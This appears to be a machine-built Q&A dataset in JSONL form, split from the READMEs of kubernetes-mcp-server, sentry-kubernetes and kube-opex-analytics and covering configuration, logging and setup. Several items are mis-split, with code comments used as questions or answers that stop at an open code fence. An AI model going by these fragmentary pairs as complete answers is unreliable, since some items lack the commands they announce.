Kubernetes cluster. This is useful for debugging or inspecting the cluster without accidentally making changes. This option has no effect when `--read-only` is used.                            |\n| `--stateless`             | If set, the MCP server will run in stateless mode, disabling tool and prompt change notifications. This is useful for container deployments, load balancing, and serverless environments where maintaining client state is not desired. |\n| `--toolsets`              | Comma-separated list of toolsets to enable. Check the [🛠️ Tools and Functionalities](#tools-and-functionalities) section for more information.                                                                                                                                               |\n| `--disable-multi-cluster` | If set, the MCP server will disable multi-cluster support and will only use the current context from the kubeconfig file. This is useful if you want to restrict the MCP server to a single cluster.                                                                                          |", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356654"}
{"id": "gh_770cf4312feb", "question": "How to: Drop-in Configuration <a id=\"drop-in-configuration\"></a>", "question_body": "About containers/kubernetes-mcp-server", "answer": "The Kubernetes MCP server supports flexible configuration through both a main config file and drop-in files. **Both are optional** - you can use either, both, or neither (server will use built-in defaults).\n\n#### Configuration Loading Order\n\nConfiguration values are loaded and merged in the following order (later sources override earlier ones):\n\n1. **Internal Defaults** - Always loaded (hardcoded default values)\n2. **Main Configuration File** - Optional, loaded via `--config` flag\n3. **Drop-in Files** - Optional, loaded from `--config-dir` in **lexical (alphabetical) order**\n\n#### How Drop-in Files Work\n\n- **Default Directory**: If `--config-dir` is not specified, the server looks for drop-in files in `conf.d/` relative to the main config file's directory (when `--config` is provided)\n- **File Naming**: Use numeric prefixes to control loading order (e.g., `00-base.toml`, `10-cluster.toml`, `99-override.toml`)\n- **File Extension**: Only `.toml` files are processed; dotfiles (starting with `.`) are ignored\n- **Partial Configuration**: Drop-in files can contain only a subset of configuration options\n- **Merge Behavior**: Values present in a drop-in file override previous values; missing values are preserved\n\n#### Dynamic Configuration Reload\n\nTo reload configuration after modifying config files, send a `SIGHUP` signal to the running server process.\n\n**Prerequisite**: SIGHUP reload requires the server to be started with either the `--config` flag or `--config-dir` flag (or both). If neither is specified, SIGHUP signals will be ignored.\n\n**How to reload:**\n\n```shell", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356662"}
{"id": "gh_871bf084795e", "question": "How to: Or use pkill", "question_body": "About containers/kubernetes-mcp-server", "answer": "pkill -HUP kubernetes-mcp-server\n```\n\nThe server will:\n- Reload the main config file and all drop-in files\n- Update configuration values (log level, output format, etc.)\n- Rebuild the toolset registry with new tool configurations\n- Log the reload status\n\n**Note**: Changing `kubeconfig` or cluster-related settings requires a server restart. Only tool configurations, log levels, and output formats can be reloaded dynamically.\n\n**Note**: SIGHUP reload is not available on Windows. On Windows, restart the server to reload configuration.\n\n#### Example: Using Both Config Methods\n\n**Command (using default `conf.d` directory):**\n```shell\nkubernetes-mcp-server --config /etc/kubernetes-mcp-server/config.toml\n```\n\n**Directory structure:**\n```\n/etc/kubernetes-mcp-server/\n├── config.toml              # Main configuration\n└── conf.d/                  # Default drop-in directory (automatically loaded)\n    ├── 00-base.toml         # Base overrides\n    ├── 10-toolsets.toml     # Toolset-specific config\n    └── 99-local.toml        # Local overrides\n```\n\n**Command (with explicit `--config-dir`):**\n```shell\nkubernetes-mcp-server --config /etc/kubernetes-mcp-server/config.toml \\\n                      --config-dir /etc/kubernetes-mcp-server/config.d/\n```\n\n**Example drop-in file** (`10-toolsets.toml`):\n```toml", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356672"}
{"id": "gh_95a03aedccfb", "question": "How to: Override only the toolsets - all other config preserved", "question_body": "About containers/kubernetes-mcp-server", "answer": "toolsets = [\"core\", \"config\", \"helm\", \"logs\"]\n```\n\n**Example drop-in file** (`99-local.toml`):\n```toml", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356677"}
{"id": "gh_006e24d10679", "question": "How to: Local development overrides", "question_body": "About containers/kubernetes-mcp-server", "answer": "log_level = 9\nread_only = true\n```\n\n**To apply changes:**\n```shell", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356681"}
{"id": "gh_e11591206243", "question": "How to: Edit config files", "question_body": "About containers/kubernetes-mcp-server", "answer": "vim /etc/kubernetes-mcp-server/conf.d/99-local.toml", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356685"}
{"id": "gh_01af73ba32a7", "question": "How to: MCP Prompts", "question_body": "About containers/kubernetes-mcp-server", "answer": "1. The server supports MCP prompts for workflow templates. Define custom prompts in `config.toml`:\n\n```toml\n[[prompts]]\nname = \"my-workflow\"\ntitle = \"my workflow\"\ndescription = \"Custom workflow\"\n\n[[prompts.arguments]]\nname = \"resource_name\"\nrequired = true\n\n[[prompts.messages]]\nrole = \"user\"\ncontent = \"Help me with {{resource_name}}\"\n```\n\n2. Toolset prompts implemented by toolset developers\n\nSee docs/PROMPTS.md for detailed documentation.", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356692"}
{"id": "gh_530c95c05d0f", "question": "How to: 📊 MCP Logging <a id=\"mcp-logging\"></a>", "question_body": "About containers/kubernetes-mcp-server", "answer": "The server supports the MCP logging capability, allowing clients to receive debugging information via structured log messages.", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356697"}
{"id": "gh_f56a7806a1c5", "question": "How to: For Clients", "question_body": "About containers/kubernetes-mcp-server", "answer": "Clients can control log verbosity by sending a `logging/setLevel` request:\n\n```json\n{\n  \"method\": \"logging/setLevel\",\n  \"params\": { \"level\": \"info\" }\n}\n```\n\n**Available log levels** (in order of increasing severity):\n- `debug` - Detailed debugging information\n- `info` - General informational messages (default)\n- `notice` - Normal but significant events\n- `warning` - Warning messages\n- `error` - Error conditions\n- `critical` - Critical conditions\n- `alert` - Action must be taken immediately\n- `emergency` - System is unusable", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356703"}
{"id": "gh_403ced61141f", "question": "How to: For Developers", "question_body": "About containers/kubernetes-mcp-server", "answer": "Toolsets can optionally send debug information to clients using helper functions from the `mcplog` package:\n\n**Recommended approach for Kubernetes errors** (automatically categorizes errors and sends appropriate messages):\n\n```go\nimport \"github.com/containers/kubernetes-mcp-server/pkg/mcplog\"\n\n// In your tool handler:\nret, err := client.CoreV1().Pods(namespace).Get(ctx, name, metav1.GetOptions{})\nif err != nil {\n    mcplog.HandleK8sError(ctx, err, \"pod access\")\n    return api.NewToolCallResult(\"\", fmt.Errorf(\"failed to get pod: %v\", err)), nil\n}\n```\n\n**Manual logging** (for custom messages):\n\n```go\nimport \"github.com/containers/kubernetes-mcp-server/pkg/mcplog\"\n\n// In your tool handler:\nif err != nil {\n    mcplog.SendMCPLog(ctx, \"error\", \"Operation failed - check permissions\")\n    return api.NewToolCallResult(\"\", err)\n}\n```\n\n**Key Points:**\n- Logging is **optional** - toolsets work fine without sending MCP logs\n- Uses a dedicated named logger (`logger=\"mcp\"`) for complete separation from server logs\n- Server logs (klog) remain detailed and unaffected\n- Client logs are high-level, helpful hints for debugging\n- Authentication failures send generic messages to clients (no security info leaked)\n- Sensitive data is automatically redacted with 28 pattern types:\n  - Generic fields (password, token, secret, api_key, etc.)\n  - Authorization headers (Bearer, Basic)\n  - Cloud credentials (AWS, GCP, Azure)\n  - API tokens (GitHub, GitLab, OpenAI, Anthropic)\n  - Cryptographic keys (JWT, SSH, PGP, RSA)\n  - Database connection strings (PostgreSQL, MySQL, MongoDB)", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356710"}
{"id": "gh_5d43e2058da1", "question": "How to: 🛠️ Tools and Functionalities <a id=\"tools-and-functionalities\"></a>", "question_body": "About containers/kubernetes-mcp-server", "answer": "The Kubernetes MCP server supports enabling or disabling specific groups of tools and functionalities (tools, resources, prompts, and so on) via the `--toolsets` command-line flag or `toolsets` configuration option.\nThis allows you to control which Kubernetes functionalities are available to your AI tools.\nEnabling only the toolsets you need can help reduce the context size and improve the LLM's tool selection accuracy.", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356716"}
{"id": "gh_74a19acd39fa", "question": "How to: Available Toolsets", "question_body": "About containers/kubernetes-mcp-server", "answer": "The following sets of tools are available (toolsets marked with ✓ in the Default column are enabled by default):\n| Toolset  | Description                                                                                                                                                          | Default |\n|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------|\n| config   | View and manage the current local Kubernetes configuration (kubeconfig)                                                                                              | ✓       |\n| core     | Most common tools for Kubernetes management (Pods, Generic Resources, Events, etc.)                                                                                  | ✓       |\n| kiali    | Most common tools for managing Kiali, check the [Kiali documentation](https://github.com/containers/kubernetes-mcp-server/blob/main/docs/KIALI.md) for more details. |         |\n| kubevirt | KubeVirt virtual machine management tools                                                                                                                            |         |\n| helm     | Tools for managing Helm charts and releases                                                                                                                          | ✓       |", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356725"}
{"id": "gh_12fba9cb0787", "question": "How to: Helm Chart", "question_body": "About containers/kubernetes-mcp-server", "answer": "A [Helm Chart](https://helm.sh) is available to simplify the deployment of the Kubernetes MCP server. Additional details can be found in the [chart README](./charts/kubernetes-mcp-server/README.md).", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1003, "answer_score": 10, "has_code": false, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356752"}
{"id": "gh_1d3e27005f61", "question": "How to: Running with mcp-inspector", "question_body": "About containers/kubernetes-mcp-server", "answer": "Compile the project and run the Kubernetes MCP server with [mcp-inspector](https://modelcontextprotocol.io/docs/tools/inspector) to inspect the MCP server.\n\n```shell", "tags": ["containers"], "source": "github_gists", "category": "containers", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1003, "answer_score": 10, "has_code": true, "url": "https://github.com/containers/kubernetes-mcp-server", "collected_at": "2026-01-17T12:53:40.356757"}
{"id": "gh_a4ae956bf98a", "question": "How to: Configuration", "question_body": "About getsentry/sentry-kubernetes", "answer": "- `SENTRY_DSN` - Sentry DSN that will be used by the agent.\n\n- `SENTRY_ENVIRONMENT` - Sentry environment that will be used for reported events.\n\n- `SENTRY_K8S_WATCH_NAMESPACES` - a comma-separated list of namespaces that will be watched. Only the `default` namespace is watched by default. If you want to watch all namespaces, set the varible to value `__all__`.\n\n- `SENTRY_K8S_WATCH_HISTORICAL` - if set to `1`, all existing (old) events will also be reported. Default is `0` (old events will not be reported).\n\n- `SENTRY_K8S_CLUSTER_CONFIG_TYPE` - the type of the cluster initialization method. Allowed options: `auto`, `in-cluster`, `out-cluster`. Default is `auto`.\n\n- `SENTRY_K8S_KUBECONFIG_PATH` - filesystem path to the `kubeconfig` configuration that will be used to connect to the cluster. Not used if `SENTRY_K8S_CLUSTER_CONFIG_TYPE` is set to `in-cluster`.\n\n- `SENTRY_K8S_LOG_LEVEL` - logging level. Can be `trace`, `debug`, `info`, `warn`, `error`, `disabled`. Default is `info`.\n\n- `SENTRY_K8S_MONITOR_CRONJOBS` - if set to `1`, enables Sentry Crons integration for `CronJob` objects. Disabled by default.\n\n- `SENTRY_K8S_CUSTOM_DSNS` - if set to `1`, enables custom DSN to be specified in the `annotations` with key `k8s.sentry.io/dsn` which would take precedence over `SENTRY_DSN. Disabled by default.", "tags": ["getsentry"], "source": "github_gists", "category": "getsentry", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 485, "answer_score": 10, "has_code": false, "url": "https://github.com/getsentry/sentry-kubernetes", "collected_at": "2026-01-17T12:53:45.775485"}
{"id": "gh_b05ec6f6b998", "question": "How to: Adding custom tags", "question_body": "About getsentry/sentry-kubernetes", "answer": "To add a custom tag to all events produced by the agent, set an environment variable, whose name is prefixed with `SENTRY_K8S_GLOBAL_TAG_`.\n\n**Example:**\n\n`SENTRY_K8S_GLOBAL_TAG_cluster_name=main-cluster` will add `cluster_name=main_cluster` tag to every outgoing Sentry event.", "tags": ["getsentry"], "source": "github_gists", "category": "getsentry", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 485, "answer_score": 10, "has_code": false, "url": "https://github.com/getsentry/sentry-kubernetes", "collected_at": "2026-01-17T12:53:45.775497"}
{"id": "gh_b49e6dce97c6", "question": "How to: Integrations", "question_body": "About getsentry/sentry-kubernetes", "answer": "- `SENTRY_K8S_INTEGRATION_GKE_ENABLED` - if set to `1`, enable the [GKE](https://cloud.google.com/kubernetes-engine/) integration. Default is `0` (disabled).\n\n  The GKE integration will attempt to fetch GKE/GCE metadata from [the GCP metadata server](https://cloud.google.com/compute/docs/metadata/overview), such as project name, cluster name, and cluster location.", "tags": ["getsentry"], "source": "github_gists", "category": "getsentry", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 485, "answer_score": 10, "has_code": false, "url": "https://github.com/getsentry/sentry-kubernetes", "collected_at": "2026-01-17T12:53:45.775504"}
{"id": "gh_50c906c6be13", "question": "How to: Client-side Filters", "question_body": "About getsentry/sentry-kubernetes", "answer": "If you don't want to report certain kinds of events to Sentry, you can configure client-side filters.\n\n- Event Reason: filtering by `Event.Reason` field.\n\n  `SENTRY_K8S_FILTER_OUT_EVENT_REASONS` is a comma separated set of event Reason values. If the event's Reason is in that list, the event will be dropped. By default, the following reasons are filtered out (muted): `DockerStart`, `KubeletStart`, `NodeSysctlChange`, `ContainerdStart`.\n\n- Event Source: filtering by `Event.Source.Component` field.\n\n  `SENTRY_K8S_FILTER_OUT_EVENT_SOURCES` is a comma separated set of Source Component values (examples include `kubelet`, `default-cheduler`, `job-controller`, `kernel-monitor`). If the event's Source Component is in that list, the event will be dropped. By default, no events are filtered out by Source Component.", "tags": ["getsentry"], "source": "github_gists", "category": "getsentry", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 485, "answer_score": 10, "has_code": false, "url": "https://github.com/getsentry/sentry-kubernetes", "collected_at": "2026-01-17T12:53:45.775512"}
{"id": "gh_0fd5e7e4c556", "question": "How to: Custom DSN Support", "question_body": "About getsentry/sentry-kubernetes", "answer": "By default, the Sentry project that the agent sends events to is specified by the environment variable `SENTRY_DSN`. However, if the flag `SENTRY_K8S_CUSTOM_DSNS` is enabled, a Kubernetes object manifest may specify a custom `DSN` that takes precedence over the global `DSN`. To do so, specified the custom `DSN` in the `annotations` using the `k8s.sentry.io/dsn` key as follows:\n\n```yaml\napiVersion: batch/v1\nkind: CronJob\nmetadata:\n  name: cronjob-basic-success\n  labels:\n    type: test-pod\n  annotations:\n    k8s.sentry.io/dsn: \"\n\"\nspec:\n  schedule: \"* * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        metadata:\n          labels:\n            type: test-pod\n            run: cronjob-basic-success\n        spec:\n          containers:\n            - name: hello\n              image: busybox:1.28\n              imagePullPolicy: IfNotPresent\n              command:\n                - /bin/sh\n                - -c\n                - date; echo Hello!; sleep 3\n          restartPolicy: OnFailure\n```", "tags": ["getsentry"], "source": "github_gists", "category": "getsentry", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 485, "answer_score": 10, "has_code": true, "url": "https://github.com/getsentry/sentry-kubernetes", "collected_at": "2026-01-17T12:53:45.775520"}
{"id": "gh_91bf77e7eacf", "question": "How to: Integration with Sentry Crons", "question_body": "About getsentry/sentry-kubernetes", "answer": "A useful feature offered by Sentry is [Crons Monitoring](https://docs.sentry.io/product/crons/). This feature may be enabled by setting the environment variable `SENTRY_K8S_MONITOR_CRONJOBS` variable to true. The agent is compatible with Sentry Crons and can automatically [upsert](https://develop.sentry.dev/sdk/check-ins/#monitor-upsert-support) `CronJob` objects with a Sentry project.\n\nThe agent automatically creates a Crons monitor for any detected `CronJob` with the monitor slug name to be the name of the `CronJob`. Additionally, the schedule is automatically taken from the `CronJob` manifest.\n\nMoreover, any the events of any resource object (e.g. `pod`, `job`, `event`) that is associated with a `CronJob` will have the corresponding monitor slug name is a metadata. This allows the grouping of events based on Crons monitors in Issues as well.\n\n**Crons Example**\n\nThe following manifest is of a cronjob that sometimes fails and completes with variable durations:\n\n```yaml\napiVersion: batch/v1\nkind: CronJob\nmetadata:\n  name: cronjob-late-maybe-error\n  labels:\n    type: test-pod\nspec:\n  schedule: \"* * * * *\"\n  jobTemplate:\n    spec:\n      backoffLimit: 0\n      template:\n        metadata:\n          labels:\n            type: test-pod\n            run: cronjob-late-maybe-error\n        spec:\n          containers:\n            - name: hello\n              image: busybox:1.28\n              imagePullPolicy: IfNotPresent\n              command:\n                - /bin/sh\n                - -c\n                - |\n                  MINWAIT=0\n                  MAXWAIT=60\n                  sleep $((MINWAIT+RANDOM % (MAXWAIT-MINWAIT)))\n                  sleep 3\n                  r=$((RANDOM%2))\n                  if [ $r -eq 0 ]; then echo Hello!; else exit 1; fi\n          restartPolicy: Never\n  ```\n\nIn the Sentry Crons tab of the corresponding project, we may see the following:\n\n  ![ExampleCronsMonitor](./images/example_crons_monitor.png)", "tags": ["getsentry"], "source": "github_gists", "category": "getsentry", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 485, "answer_score": 10, "has_code": true, "url": "https://github.com/getsentry/sentry-kubernetes", "collected_at": "2026-01-17T12:53:45.775530"}
{"id": "gh_bdf6528c3390", "question": "How to: Local Development (out of cluster configuration)", "question_body": "About getsentry/sentry-kubernetes", "answer": "1. Install necessary dependencies to run Kubernetes locally\n    1. Install `docker` and start the docker daemon\n\n        [https://docs.docker.com/engine/install/](https://docs.docker.com/engine/install/)\n\n        `docker` is a service that manages containers and is used by Kubernetes to create nodes (since `kind` actually create Kubernetes “nodes” as docker containers rather than VMs)\n\n    2. Install `kind` and add it to PATH\n\n        [https://kind.sigs.k8s.io/docs/user/quick-start/](https://kind.sigs.k8s.io/docs/user/quick-start/)\n\n        `kind` is a tool for running local Kubernetes clusters and we use it here for testing. The container runtime used by it is `containerd`, which is the same runtime used now by Docker.\n\n    3.  Install `kubectl`, which is the command line tool we use to interact with Kubernetes clusters ran locally by `kind`\n\n        [https://kubernetes.io/docs/tasks/tools/](https://kubernetes.io/docs/tasks/tools/)\n\n2. Run Kubernetes cluster locally for development purposes\n    1. Create a Kubernetes cluster with `kind` using the command (the cluster name is “kind” by default)\n\n    `kind create cluster`\n\n     b.  Output information about the created cluster named “kind” or some cluster name you have chosen using the following command (replacing `\n` with `kind` if default used)\n\n    `kubectl cluster-info --context kind-\n`\n\n    You should see an output similar to the following:\n\n    ```bash\n    Kubernetes control plane is running at https://127.0.0.1:61502\n    CoreDNS is running at https://127.0.0.1:61502/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy\n    ```\n\n3. Run the `sentry-kubernetes` Go module (which must be performed after the Kubernetes cluster is already running because the module requires the `kubeconfig` file)\n    1. Clone the `sentry-kubernetes` repository\n\n    `git clone https://github.com/getsentry/sentry-kubernetes.git`\n\n     b.  Pass a valid Sentry DSN to the an environment variable named `SENTRY_DSN` ([https://docs.sentry.io/product/sentry-basics/concepts/dsn-explainer/](https://docs.sentry.io/product/sentry-basics/concepts/dsn-explainer/))\n\n     c. At the root of the repository directory, build the Go module with the command\n\n    `make build`\n\n     d. Run the module outside of the k8s cluster by executing the command\n\n    `go run .`\n\n    which now starts up the process that automatically detects the cluster configuration in order to detect events\n\n4. Add error-producing pods to test event capturing\n    1. Create resources (e.g. pods or deployments) using existing manifests meant to produce errors to be captured by `sentry-kubernetes`. For example, we can apply the manifest for a pod that exhibits crash loop behavior with the command\n\n    `kubectl apply -f ./k8s/errors/pod-crashloop.yaml`\n\n     b. Check that the pod is created using the command\n\n    `kubectl get pods`\n\n    which should produce an output similar to the following:\n\n    ```bash\n    NAME            READY   STATUS             RESTARTS       AGE\n    pod-crashloop   0/1     CrashLoopBackOff   32 (33s ago)   3h10m\n    ```\n\n    Notice that the Status is `CrashLoopBackOff`, which is the intended state for our purpose\n\n    c. Check that the `sentry-kubernetes` process capture this crash loop error by checking for the an output similar to the following:\n\n    ```bash\n    [Sentry] 2023/11/08 12:07:53 Using release from Git: abc123\n    12:07PM INF Auto-detecting cluster configuration...\n    12:07PM WRN Could not initialize in-cluster config\n    12:07PM INF Detected out-of-cluster configuration\n    12:07PM INF Running integrations...\n    12:07PM INF Watching events starting from: Wed, 08 Nov 2023 12:07:53 -0800 namespace=default watcher=events\n    12:07PM INF CronJob monitoring is disabled namespace=default watcher=events\n    [Sentry] 2023/11/08 12:09:27 Sending error event [w0dc9c22094d7rg9b27afabc868e32] to o4506191942320128.ingest.sentry.io project: 4506191948087296\n    [Sentry] 2023/11/08 12:10:57 Sending error event [4808b623f0eb446eac0eb6c5f0a43681] to o4506191942320128.ingest.sentry.io project: 4506191948087296\n    ```\n    d. Check the `Issues` tab of the corresponding Sentry project to ensure the events captured are shown similar to below:\n\n    ![ExampleEvent](./images/example_event.png)", "tags": ["getsentry"], "source": "github_gists", "category": "getsentry", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 485, "answer_score": 10, "has_code": true, "url": "https://github.com/getsentry/sentry-kubernetes", "collected_at": "2026-01-17T12:53:45.775551"}
{"id": "gh_d935cf9c2f35", "question": "How to: Potential Improvements", "question_body": "About getsentry/sentry-kubernetes", "answer": "- For pod-related events: fetch last log lines and displaying them as breadcrumbs or stacktrace.", "tags": ["getsentry"], "source": "github_gists", "category": "getsentry", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 485, "answer_score": 10, "has_code": false, "url": "https://github.com/getsentry/sentry-kubernetes", "collected_at": "2026-01-17T12:53:45.775558"}
{"id": "gh_9b92a402f777", "question": "How to: Table of Contents", "question_body": "About rchakode/kube-opex-analytics", "answer": "- [Overview](#overview)\n- [Key Features](#key-features)\n- [Quick Start](#quick-start)\n- [Architecture](#architecture)\n- [Documentation](#documentation)\n- [Configuration](#configuration)\n- [Troubleshooting](#troubleshooting)\n- [License](#license)\n- [Support & Contributions](#support--contributions)", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766841"}
{"id": "gh_e280879eebf0", "question": "How to: Tracked Resources", "question_body": "About rchakode/kube-opex-analytics", "answer": "- **CPU** - Core usage and requests per namespace\n- **Memory** - RAM consumption and requests per namespace\n- **GPU** - NVIDIA GPU utilization via DCGM integration (v26.01.0-beta1 or later)\n\n![kube-opex-analytics-overview](screenshots/kube-opex-analytics-demo.gif)\n\n> **Multi-cluster Integration:** kube-opex-analytics tracks usage for a single Kubernetes cluster. For centralized multi-cluster analytics, see [Krossboard Kubernetes Operator](https://github.com/2-alchemists/krossboard) ([demo video](https://youtu.be/lfkUIREDYDY)).", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766854"}
{"id": "gh_4057b2a70b84", "question": "How to: Key Features", "question_body": "About rchakode/kube-opex-analytics", "answer": "| Feature | Description |\n|---------|-------------|\n| **Hourly/Daily/Monthly Trends** | Tracks actual usage and requested capacities per namespace, collected every 5 minutes and consolidated hourly |\n| **Non-allocatable Capacity Tracking** | Highlights system overhead (OS, kubelets) vs. usable application capacity at node and cluster levels |\n| **Cluster Capacity Planning** | Visualize consumed capacity globally, instantly, and over time |\n| **Usage Efficiency Analysis** | Compare resource requests against actual usage to identify over/under-provisioning |\n| **Cost Allocation & Chargeback** | Automatic resource usage accounting per namespace for billing and showback |\n| **Prometheus Integration** | Native exporter at `/metrics` for Grafana dashboards and alerting |", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766862"}
{"id": "gh_66e640dbfd7a", "question": "How to: Prerequisites", "question_body": "About rchakode/kube-opex-analytics", "answer": "- Kubernetes cluster v1.19+ (or OpenShift 4.x+)\n- `kubectl` configured with cluster access\n- Helm 3.x (fine-tuned installation) or `kubectl` for a basic opinionated deployment\n- Cluster permissions: read access to pods, nodes, and namespaces\n- **[Kubernetes Metrics Server](https://github.com/kubernetes-sigs/metrics-server)** deployed in your cluster (required for CPU and memory metrics)\n- **[NVIDIA DCGM Exporter](https://github.com/NVIDIA/dcgm-exporter)** deployed in your cluster (required for GPU metrics, optional if no GPUs)", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766869"}
{"id": "gh_c7d56f84a01d", "question": "How to: Verify Metrics Server", "question_body": "About rchakode/kube-opex-analytics", "answer": "Before installing, ensure metrics-server is running in your cluster:\n\n```bash", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766875"}
{"id": "gh_cbe44279c001", "question": "How to: Check if metrics-server is deployed", "question_body": "About rchakode/kube-opex-analytics", "answer": "kubectl -n kube-system get deploy | grep metrics-server", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 459, "answer_score": 10, "has_code": false, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766880"}
{"id": "gh_582edbe89b62", "question": "How to: If not installed, deploy with kubectl", "question_body": "About rchakode/kube-opex-analytics", "answer": "kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml\n```", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766886"}
{"id": "gh_9cb00f98fd2f", "question": "How to: Verify DCGM Exporter (GPU metrics)", "question_body": "About rchakode/kube-opex-analytics", "answer": "If your cluster has NVIDIA GPUs and you want GPU metrics, ensure DCGM Exporter is running:\n\n```bash", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766891"}
{"id": "gh_be1a1e51c492", "question": "How to: If not installed, deploy with Helm (requires NVIDIA GPU Operator or drivers)", "question_body": "About rchakode/kube-opex-analytics", "answer": "helm repo add gpu-helm-charts https://nvidia.github.io/dcgm-exporter/helm-charts\nhelm install dcgm-exporter gpu-helm-charts/dcgm-exporter \\\n  --namespace gpu-operator \\\n  --create-namespace\n```", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766897"}
{"id": "gh_393e46fc9204", "question": "How to: Clone the Repository", "question_body": "About rchakode/kube-opex-analytics", "answer": "```bash\ngit clone https://github.com/rchakode/kube-opex-analytics.git --depth=1\ncd kube-opex-analytics\n```", "tags": ["rchakode"], "source": "github_gists", "category": "rchakode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 459, "answer_score": 10, "has_code": true, "url": "https://github.com/rchakode/kube-opex-analytics", "collected_at": "2026-01-17T12:53:47.766902"}
